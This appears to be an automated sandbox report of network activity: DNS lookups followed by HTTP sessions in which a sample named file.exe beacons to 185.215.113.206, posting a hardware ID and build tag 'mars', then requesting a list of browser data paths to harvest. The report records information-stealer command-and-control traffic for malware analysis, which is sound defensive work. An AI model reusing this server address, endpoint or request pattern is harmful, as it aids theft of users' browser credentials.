Nov 28, 2024 02:27:37.296801090 CET	192.168.2.6	1.1.1.1	0x7b35	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:27:37.296972036 CET	192.168.2.6	1.1.1.1	0xbd48	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 28, 2024 02:27:39.219712019 CET	192.168.2.6	1.1.1.1	0xaa01	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:27:39.219918966 CET	192.168.2.6	1.1.1.1	0x1485	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 28, 2024 02:27:39.220769882 CET	192.168.2.6	1.1.1.1	0x516a	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:27:39.221036911 CET	192.168.2.6	1.1.1.1	0x1bd8	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 28, 2024 02:27:39.229573965 CET	192.168.2.6	1.1.1.1	0xf96f	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:27:39.230000973 CET	192.168.2.6	1.1.1.1	0xd293	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 28, 2024 02:27:39.476347923 CET	192.168.2.6	1.1.1.1	0x109a	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:27:39.476768017 CET	192.168.2.6	1.1.1.1	0x5fc1	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 28, 2024 02:27:39.544078112 CET	192.168.2.6	1.1.1.1	0x2688	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:27:39.544408083 CET	192.168.2.6	1.1.1.1	0xad79	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 28, 2024 02:27:39.712548971 CET	192.168.2.6	1.1.1.1	0x13f6	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:27:39.712708950 CET	192.168.2.6	1.1.1.1	0x9bef	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 28, 2024 02:27:39.779665947 CET	192.168.2.6	1.1.1.1	0x791c	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:27:39.780052900 CET	192.168.2.6	1.1.1.1	0x315f	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 28, 2024 02:28:37.696841002 CET	192.168.2.6	1.1.1.1	0x97b0	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:28:37.696985006 CET	192.168.2.6	1.1.1.1	0xe00	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 28, 2024 02:27:22.000049114 CET	1.1.1.1	192.168.2.6	0xd928	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 28, 2024 02:27:22.000293970 CET	1.1.1.1	192.168.2.6	0x78df	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:27:29.695586920 CET	1.1.1.1	192.168.2.6	0xb92f	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 02:27:29.695698023 CET	1.1.1.1	192.168.2.6	0xfa53	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 02:27:29.695698023 CET	1.1.1.1	192.168.2.6	0xfa53	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:27:34.497410059 CET	1.1.1.1	192.168.2.6	0x9afc	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 02:27:34.497462988 CET	1.1.1.1	192.168.2.6	0x585	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 02:27:34.788372040 CET	1.1.1.1	192.168.2.6	0x2b0c	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 02:27:34.788372040 CET	1.1.1.1	192.168.2.6	0x2b0c	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:27:34.915251970 CET	1.1.1.1	192.168.2.6	0xdb3a	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 02:27:36.814100027 CET	1.1.1.1	192.168.2.6	0x2e0c	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 02:27:36.814196110 CET	1.1.1.1	192.168.2.6	0x94b2	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 02:27:37.438563108 CET	1.1.1.1	192.168.2.6	0x7b35	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 02:27:37.438563108 CET	1.1.1.1	192.168.2.6	0x7b35	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.65	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:27:37.537619114 CET	1.1.1.1	192.168.2.6	0xbd48	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 02:27:39.360810041 CET	1.1.1.1	192.168.2.6	0xaa01	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:27:39.360810041 CET	1.1.1.1	192.168.2.6	0xaa01	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:27:39.360827923 CET	1.1.1.1	192.168.2.6	0x1485	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 28, 2024 02:27:39.361767054 CET	1.1.1.1	192.168.2.6	0x516a	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:27:39.361767054 CET	1.1.1.1	192.168.2.6	0x516a	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:27:39.361840010 CET	1.1.1.1	192.168.2.6	0x1bd8	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 28, 2024 02:27:39.370450020 CET	1.1.1.1	192.168.2.6	0xf96f	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:27:39.370450020 CET	1.1.1.1	192.168.2.6	0xf96f	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:27:39.370990038 CET	1.1.1.1	192.168.2.6	0xd293	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 28, 2024 02:27:39.617993116 CET	1.1.1.1	192.168.2.6	0x109a	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:27:39.617993116 CET	1.1.1.1	192.168.2.6	0x109a	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:27:39.617993116 CET	1.1.1.1	192.168.2.6	0x109a	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:27:39.617993116 CET	1.1.1.1	192.168.2.6	0x109a	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:27:39.685333967 CET	1.1.1.1	192.168.2.6	0xad79	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 02:27:39.685861111 CET	1.1.1.1	192.168.2.6	0x2688	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 02:27:39.856368065 CET	1.1.1.1	192.168.2.6	0x9bef	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 02:27:39.856391907 CET	1.1.1.1	192.168.2.6	0x13f6	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 02:27:39.920347929 CET	1.1.1.1	192.168.2.6	0x791c	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 02:27:39.921945095 CET	1.1.1.1	192.168.2.6	0x315f	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 02:27:40.454003096 CET	1.1.1.1	192.168.2.6	0x7249	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 02:27:40.454003096 CET	1.1.1.1	192.168.2.6	0x7249	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:27:41.461612940 CET	1.1.1.1	192.168.2.6	0x3ff3	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 02:27:41.461612940 CET	1.1.1.1	192.168.2.6	0x3ff3	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:27:41.926012993 CET	1.1.1.1	192.168.2.6	0x8607	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 02:27:41.926012993 CET	1.1.1.1	192.168.2.6	0x8607	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:27:43.963298082 CET	1.1.1.1	192.168.2.6	0x4d86	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 02:27:43.963298082 CET	1.1.1.1	192.168.2.6	0x4d86	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:27:44.976730108 CET	1.1.1.1	192.168.2.6	0x4d86	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 02:27:44.976730108 CET	1.1.1.1	192.168.2.6	0x4d86	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:27:45.991485119 CET	1.1.1.1	192.168.2.6	0x4d86	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 02:27:45.991485119 CET	1.1.1.1	192.168.2.6	0x4d86	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:27:47.930016041 CET	1.1.1.1	192.168.2.6	0xe334	No error (0)	g-bing-com.ax-0001.ax-msedge.net	ax-0001.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 02:27:47.930016041 CET	1.1.1.1	192.168.2.6	0xe334	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:27:47.930016041 CET	1.1.1.1	192.168.2.6	0xe334	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:27:48.004230976 CET	1.1.1.1	192.168.2.6	0x4d86	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 02:27:48.004230976 CET	1.1.1.1	192.168.2.6	0x4d86	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:27:52.023123026 CET	1.1.1.1	192.168.2.6	0x4d86	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 02:27:52.023123026 CET	1.1.1.1	192.168.2.6	0x4d86	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:28:35.981081963 CET	1.1.1.1	192.168.2.6	0x1ca5	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:28:35.981081963 CET	1.1.1.1	192.168.2.6	0x1ca5	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:28:36.988549948 CET	1.1.1.1	192.168.2.6	0x1ca5	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:28:36.988549948 CET	1.1.1.1	192.168.2.6	0x1ca5	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:28:37.838469982 CET	1.1.1.1	192.168.2.6	0x97b0	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 02:28:37.838485003 CET	1.1.1.1	192.168.2.6	0xe00	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 02:28:37.990514994 CET	1.1.1.1	192.168.2.6	0x1ca5	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:28:37.990514994 CET	1.1.1.1	192.168.2.6	0x1ca5	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:28:40.004703999 CET	1.1.1.1	192.168.2.6	0x1ca5	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:28:40.004703999 CET	1.1.1.1	192.168.2.6	0x1ca5	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:28:44.019340992 CET	1.1.1.1	192.168.2.6	0x1ca5	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:28:44.019340992 CET	1.1.1.1	192.168.2.6	0x1ca5	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49713	199.232.214.172	80

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 02:27:04.446635962 CET	1236	IN	Data Raw: 80 08 61 20 f1 5d f0 b5 72 6d 75 31 71 1f 0e 87 60 a0 ec f1 c2 dd 71 f4 df 68 a7 49 26 10 ae 73 de 57 9f e0 b7 ae 00 3c ac e7 8f 09 5a a0 b8 de b2 e9 97 3a ea cd 47 df 01 f2 58 10 96 98 78 1d e4 c3 27 dc c8 2a 5e 2c 7a fa 5b 9b a2 7c c5 ff d1 a7 Data Ascii: a ]rmu1q`qhI&sW<Z:GXx'*^,z[\|"}o&{d(Uve=p0Huf~E}th]Zv<xEaI-Wzte[E]#6_SDS3Y}bpr^G^azH!h
Nov 28, 2024 02:27:04.446959019 CET	1236	IN	Data Raw: b4 da e0 c4 61 cb b8 f9 68 b6 22 c6 3d 50 8b 93 a9 b2 5b 43 38 d5 36 ef 24 a7 ca 54 b2 f6 4c e4 85 dc e7 f5 c9 e4 6a d9 b5 94 1e d7 7f 43 e9 91 4c cc 9c 81 de 3b f4 b4 31 29 1c 43 50 45 2b 41 15 70 aa 8e 8b 94 1a ff bb 12 04 11 31 d1 96 4d 3c cf Data Ascii: ah"=P[C86$TLjCL;1)CPE+Ap1M<(~;em.}%=c2p@a(GQT]q(K ?A85\|1U8aYQ>^Q)Ftam{[nLK?b^
Nov 28, 2024 02:27:04.455319881 CET	1236	IN	Data Raw: da 99 e3 b5 c4 4e 7d c0 29 12 83 d6 2e c1 8b d9 00 0c 46 29 ca f2 5b 4c ea ed 63 62 35 df d4 5e 96 57 9e 7a de 55 7b 49 0a 77 aa 36 d3 f1 6d 3f 63 9e a6 a0 dd 1a 0c 4c a0 c8 43 cb 3b 6d f6 39 2e be 46 93 d5 a6 5c 8e ab 0c 7f 5d 89 df a3 4a 43 e3 Data Ascii: N}).F)[Lcb5^WzU{Iw6m?cLC;m9.F\]JC9g; V#a6qHsY6.\|[py{pm` +AYv#3(V{F%ij@!sT~y!`[8o@w#hYMS&4E]@xN
Nov 28, 2024 02:27:04.455632925 CET	1236	IN	Data Raw: d7 af db 16 fd a2 db de f5 b6 17 99 b8 9d 7e 34 e4 3d 8b 10 97 1d 6b 0d c9 4d c1 d7 e0 ba ed 66 1d 76 ce 89 59 5c 03 fd 41 d7 c5 d9 f4 19 17 20 22 95 da 8a 5a c7 b3 65 86 f9 0d 3f b0 b2 d3 90 a0 02 7d a8 ad ff a0 ae 05 12 b2 03 e7 ce 29 d4 88 8a Data Ascii: ~4=kMfvY\A "Ze?})b\|/:K3K@Wu'!_wXE3$VSI}1V3n \|g f59%~&LeIueeI\{ELNr[DDizlYR2
Nov 28, 2024 02:27:04.463980913 CET	1236	IN	Data Raw: 8c 3b 5a f1 e2 55 93 ea 03 03 66 4b a3 90 6a 46 6c 0f df 7a cf 91 f5 5a 3f 7c 06 42 6d f9 c5 73 63 48 4d 6a c9 6f e7 12 e5 d3 7a d3 4b a1 76 9a 37 35 56 5c fa 04 7f 32 0f 0b a4 85 cb e9 7a 58 a4 60 62 b1 48 fb d6 98 c1 57 8a 0c b6 40 2c c8 ea 8e Data Ascii: ;ZUfKjFlzZ?\|BmscHMjozKv75V\2zX`bHW@,fxQ5Z~O#qlW'\RCG>N:usWX\|9u,$\UVl32Y#~b)@$,(381R}["*pX]U#q
Nov 28, 2024 02:27:04.464222908 CET	1236	IN	Data Raw: bd c4 0f 8f a9 df 65 7d c6 10 bd 8f 9a c5 50 35 f6 fe e1 5b e8 82 28 0a 41 a7 35 38 9a 43 cd c0 f2 d7 d5 c3 4e 0f d0 f4 b0 d1 2c f6 00 3e 8b fd 08 85 99 11 96 ef 8c 9b 3a 9f 76 ae e9 49 ad 8d 07 9f 1f bb 29 d7 28 dc 77 00 c4 a9 82 33 78 3c f6 ed Data Ascii: e}P5[(A58CN,>:vI)(w3x<p@$Sl^l).}qPFov]LP%+tpM\|6#k\Y!{QBqyQ$[~kV$0PU_TV9-<"U^^" WC&T({Pt#pM5Pt
Nov 28, 2024 02:27:04.472605944 CET	1236	IN	Data Raw: 82 f7 45 52 9e c2 a3 94 c1 6f aa fe c2 cc 07 48 91 c1 ef 87 56 04 72 53 de 75 26 9b 9b 54 b2 a8 58 d5 22 0d ab 44 e2 2a 64 f8 f1 15 04 72 d3 ff 5f c6 63 08 31 97 ca 24 c9 f5 57 bc 76 03 47 37 62 b3 cd 5f 6d 68 0e c3 6e bf b3 c9 4a f0 ad 5a b9 df Data Ascii: ERoHVrSu&TX"D*dr_c1$WvG7b_mhnJZ{K5X2Uc6YRY5gO]gtPcU1jD [u}C%&37uV8nTXU>) dNb~{t'ZLw>/#?1em3~oxiA1
Nov 28, 2024 02:27:04.472870111 CET	1236	IN	Data Raw: 95 5a e1 86 87 9a ee 69 a2 9f db 05 ef 6a 18 6a 9d 81 3f 27 9c 69 6c 3b 14 33 3a 80 3f 73 5c 70 b2 8c e0 95 ff 13 a5 59 7f 00 93 10 9f e9 c4 65 ca a9 d2 29 9e f4 60 eb ec b5 cf 6d c3 0d 38 e4 b1 80 f1 43 ae cd bd c2 ba 02 27 14 0d f6 d6 af e9 68 Data Ascii: Zijj?'il;3:?s\pYe)`m8C'h@PvuaNjK&zaf9H&qSxWwYAC73<9lo8:_#<#46A$Z1$AN~4C//%01\|X=njZ_ zyH,9)]NvL
Nov 28, 2024 02:27:04.481327057 CET	1236	IN	Data Raw: 72 36 fe 0e 88 d2 7b 30 e0 6d 67 af 35 b6 9a d5 fe b4 66 4f c8 16 cf 16 6e ad f2 2e c2 e8 5c c3 4f 2a 48 8b 1d 4d 0c ab c7 9d 71 9f 08 cf e5 da d6 1b d4 48 8f 40 1a d5 7d d9 00 1b a0 a4 5f 99 3e 4d 89 17 0f 3a 8c cb 05 d4 86 11 36 8c 32 f4 52 c7 Data Ascii: r6{0mg5fOn.\O*HMqH@}_>M:62R=22N3>B1=j#Pu/8PFo$Php=0['z(\|"f^/O3ua3htuxAQ%.M?_`mK:(t$BD
Nov 28, 2024 02:27:04.481570005 CET	1236	IN	Data Raw: 63 72 00 46 ee f2 ee 26 a6 5c c3 cd 79 17 2d 2a ce 71 28 d2 56 ad 28 08 85 b5 1b e6 03 19 33 1a 6d c9 a7 08 56 12 98 bd c0 c0 52 7e 54 8c dd e4 78 3d 55 bb 84 20 dc 4a 40 9a b7 52 42 57 68 c6 9a 1a 2a b9 64 66 59 a7 a1 be 23 85 70 2b f5 97 f4 95 Data Ascii: crF&\y-q(V(3mVR~Tx=U J@RBWhdfY#p+L=5$aQ8]F'3T1!zn#mXU5m-A9S{w)(I?jw?1aEV"<J#Kt^WK?5V+Rm+.Uu!pVWF9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49723	185.215.113.206	80	1612	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 02:27:13.378547907 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 28, 2024 02:27:14.712685108 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 02:27:14.960081100 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAFCAKEHDHDHIDHDGDH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 41 46 43 41 4b 45 48 44 48 44 48 49 44 48 44 47 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 38 34 41 38 46 38 42 33 36 41 38 33 31 34 38 31 35 32 38 31 36 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 43 41 4b 45 48 44 48 44 48 49 44 48 44 47 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 43 41 4b 45 48 44 48 44 48 49 44 48 44 47 44 48 2d 2d 0d 0a Data Ascii: ------CBAFCAKEHDHDHIDHDGDHContent-Disposition: form-data; name="hwid"A84A8F8B36A83148152816------CBAFCAKEHDHDHIDHDGDHContent-Disposition: form-data; name="build"mars------CBAFCAKEHDHDHIDHDGDH--
Nov 28, 2024 02:27:15.415064096 CET	407	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:15 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 6d 56 68 4f 54 45 30 59 6d 59 31 5a 57 45 30 4d 44 41 79 4d 54 49 79 4f 54 4d 7a 4e 32 45 77 4d 6a 6c 68 4e 44 45 79 4d 57 51 33 4e 44 4e 6d 5a 57 5a 6c 4e 7a 59 34 59 32 52 68 4e 47 59 79 4e 57 4a 6b 4e 44 67 34 4e 54 51 77 4f 54 6c 6c 5a 47 49 34 4e 47 4a 6c 5a 6a 4e 6b 5a 6d 4d 33 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NmVhOTE0YmY1ZWE0MDAyMTIyOTMzN2EwMjlhNDEyMWQ3NDNmZWZlNzY4Y2RhNGYyNWJkNDg4NTQwOTllZGI4NGJlZjNkZmM3fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 28, 2024 02:27:15.416469097 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEBKECFCFBGCAAKEGIJD Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 42 4b 45 43 46 43 46 42 47 43 41 41 4b 45 47 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 61 39 31 34 62 66 35 65 61 34 30 30 32 31 32 32 39 33 33 37 61 30 32 39 61 34 31 32 31 64 37 34 33 66 65 66 65 37 36 38 63 64 61 34 66 32 35 62 64 34 38 38 35 34 30 39 39 65 64 62 38 34 62 65 66 33 64 66 63 37 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 4b 45 43 46 43 46 42 47 43 41 41 4b 45 47 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 4b 45 43 46 43 46 42 47 43 41 41 4b 45 47 49 4a 44 2d 2d 0d 0a Data Ascii: ------AEBKECFCFBGCAAKEGIJDContent-Disposition: form-data; name="token"6ea914bf5ea40021229337a029a4121d743fefe768cda4f25bd48854099edb84bef3dfc7------AEBKECFCFBGCAAKEGIJDContent-Disposition: form-data; name="message"browsers------AEBKECFCFBGCAAKEGIJD--
Nov 28, 2024 02:27:15.860007048 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:15 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: 